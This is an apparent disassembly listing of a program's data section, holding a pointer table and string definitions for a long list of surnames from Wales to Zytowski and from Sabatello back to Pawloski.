		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EF18o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EF14o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EF10o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EF0Co
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042EF08o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042EF04o
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042EF00o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042EEFCo
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042EEF8o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EEF4o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EEF0o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EEECo
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EEE8o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EEE4o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EEE0o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EEDCo
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EED8o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EED4o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: ___:0042EED0o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EECCo
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EEC8o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EEC4o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EEC0o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EEBCo
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EEB8o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EEB4o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EEB0o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EEACo
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EEA8o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EEA4o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EEA0o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EE9Co
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EE98o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EE94o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EE90o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EE8Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EE88o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EE84o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EE80o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EE7Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EE78o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EE74o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EE70o
aViens		db 'Viens',0            ; DATA XREF: ___:0042EE6Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EE68o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EE64o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EE60o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: ___:0042EE5Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EE58o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EE54o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EE50o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EE4Co
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EE48o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EE44o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EE40o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EE3Co
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EE38o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EE34o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EE30o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EE2Co
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EE28o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EE24o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EE20o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EE1Co
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EE18o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EE14o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EE10o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EE0Co
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EE08o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EE04o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EE00o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EDFCo
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EDF8o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EDF4o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EDF0o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EDECo
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042EDE8o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EDE4o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EDE0o
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EDDCo
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EDD8o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EDD4o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EDD0o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EDCCo
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EDC8o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EDC4o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EDC0o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EDBCo
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EDB8o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EDB4o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EDB0o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EDACo
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EDA8o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EDA4o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EDA0o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042ED9Co
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042ED98o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042ED94o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042ED90o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042ED8Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: ___:0042ED88o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042ED84o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042ED80o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042ED7Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042ED78o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042ED74o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042ED70o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: ___:0042ED6Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042ED68o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042ED64o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042ED60o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042ED5Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042ED58o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042ED54o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042ED50o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042ED4Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042ED48o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042ED44o
aTill		db 'Till',0             ; DATA XREF: ___:0042ED40o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042ED3Co
aThroop		db 'Throop',0           ; DATA XREF: ___:0042ED38o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042ED34o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042ED30o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042ED2Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042ED28o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042ED24o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042ED20o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042ED1Co
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042ED18o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042ED14o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: ___:0042ED10o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042ED0Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042ED08o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042ED04o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042ED00o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042ECFCo
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042ECF8o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042ECF4o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042ECF0o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042ECECo
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042ECE8o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042ECE4o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042ECE0o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042ECDCo
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042ECD8o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042ECD4o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: ___:0042ECD0o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042ECCCo
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042ECC8o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042ECC4o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042ECC0o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042ECBCo
aStrange	db 'Strange',0          ; DATA XREF: ___:0042ECB8o
aStott		db 'Stott',0            ; DATA XREF: ___:0042ECB4o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042ECB0o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042ECACo
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042ECA8o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042ECA4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042ECA0o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042EC9Co
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042EC98o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042EC94o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042EC90o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042EC8Co
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042EC88o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042EC84o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042EC80o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042EC7Co
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042EC78o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042EC74o
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042EC70o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042EC6Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042EC68o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042EC64o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042EC60o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042EC5Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042EC58o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042EC54o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042EC50o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042EC4Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042EC48o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042EC44o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042EC40o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042EC3Co
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042EC38o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042EC34o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042EC30o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042EC2Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042EC28o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042EC24o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042EC20o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042EC1Co
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042EC18o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042EC14o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042EC10o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042EC0Co
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042EC08o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042EC04o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042EC00o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042EBFCo
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042EBF8o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: ___:0042EBF4o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042EBF0o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042EBECo
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042EBE8o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042EBE4o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042EBE0o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042EBDCo
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042EBD8o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042EBD4o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042EBD0o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042EBCCo
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042EBC8o
aShia		db 'Shia',0             ; DATA XREF: ___:0042EBC4o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042EBC0o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042EBBCo
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042EBB8o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042EBB4o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042EBB0o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042EBACo
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042EBA8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042EBA4o
aShar		db 'Shar',0             ; DATA XREF: ___:0042EBA0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042EB9Co
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042EB98o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042EB94o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042EB90o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042EB8Co
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042EB88o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042EB84o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042EB80o
aSen		db 'Sen',0              ; DATA XREF: ___:0042EB7Co
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042EB78o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042EB74o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042EB70o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042EB6Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042EB68o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042EB64o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042EB60o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042EB5Co
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042EB58o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042EB54o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042EB4Do
aSchuman	db 'Schuman',0
aSchossberger	db 'Schossberger',0
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:loc_42EB41o
aSchilling	db 'Schilling',0
		align 4
aSchifini	db 'Schifini',0
		align 10h
aSchiano	db 'Schiano',0
aScheiner	db 'Scheiner',0
		align 4
aScharlemann	db 'Scharlemann',0
aScharf		db 'Scharf',0
		align 4
aScepan		db 'Scepan',0
		align 10h
aScarponi	db 'Scarponi',0
		align 4
aSayied		db 'Sayied',0
		align 4
aSawtell	db 'Sawtell',0
aSatterthwaite	db 'Satterthwaite',0
		align 4
aSatta		db 'Satta',0
		align 4
aSatin		db 'Satin',0
		align 4
aSase		db 'Sase',0
		align 4
aSartore	db 'Sartore',0
aSarin		db 'Sarin',0
		align 4
aSapers		db 'Sapers',0
		align 4
aSanna		db 'Sanna',0
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0
aSamson		db 'Samson',0
		align 4
aSali		db 'Sali',0
		align 4
aSahu		db 'Sahu',0
		align 4
aSafire		db 'Safire',0
		align 4
aSadler		db 'Sadler',0
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042EAE0o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042EADCo
aRush		db 'Rush',0             ; DATA XREF: ___:0042EAD8o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042EAD4o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042EAD0o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042EACCo
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042EAC8o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042EAC4o
		align 10h
aRow		db 'Row',0              ; DATA XREF: ___:0042EAC0o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042EABCo
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042EAB8o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042EAB4o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042EAB0o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042EAACo
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042EAA8o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042EAA4o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042EAA0o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042EA9Co
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042EA98o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042EA94o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042EA90o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042EA8Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042EA88o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042EA84o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042EA80o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042EA7Co
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042EA78o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042EA74o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042EA70o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042EA6Co
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042EA68o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042EA64o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042EA60o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042EA5Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042EA58o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042EA54o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042EA50o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042EA4Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042EA48o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042EA44o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042EA40o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042EA3Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042EA38o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042EA34o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042EA30o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042EA2Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042EA28o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042EA24o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042EA20o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042EA1Co
aPowers		db 'Powers',0           ; DATA XREF: ___:0042EA18o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042EA14o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042EA10o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042EA0Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042EA08o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042EA04o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042EA00o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E9FCo
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E9F8o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E9F4o
		align 10h
aPo		db 'Po',0               ; DATA XREF: ___:0042E9F0o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E9ECo
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E9E8o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E9E4o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E9E0o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E9DCo
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E9D8o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E9D4o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E9D0o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E9CCo
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E9C8o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E9C4o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E9C0o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E9BCo
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E9B8o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E9B4o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E9B0o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E9ACo
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E9A8o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E9A4o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E9A0o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E99Co
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E998o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E994o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E990o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E98Co
		align 4
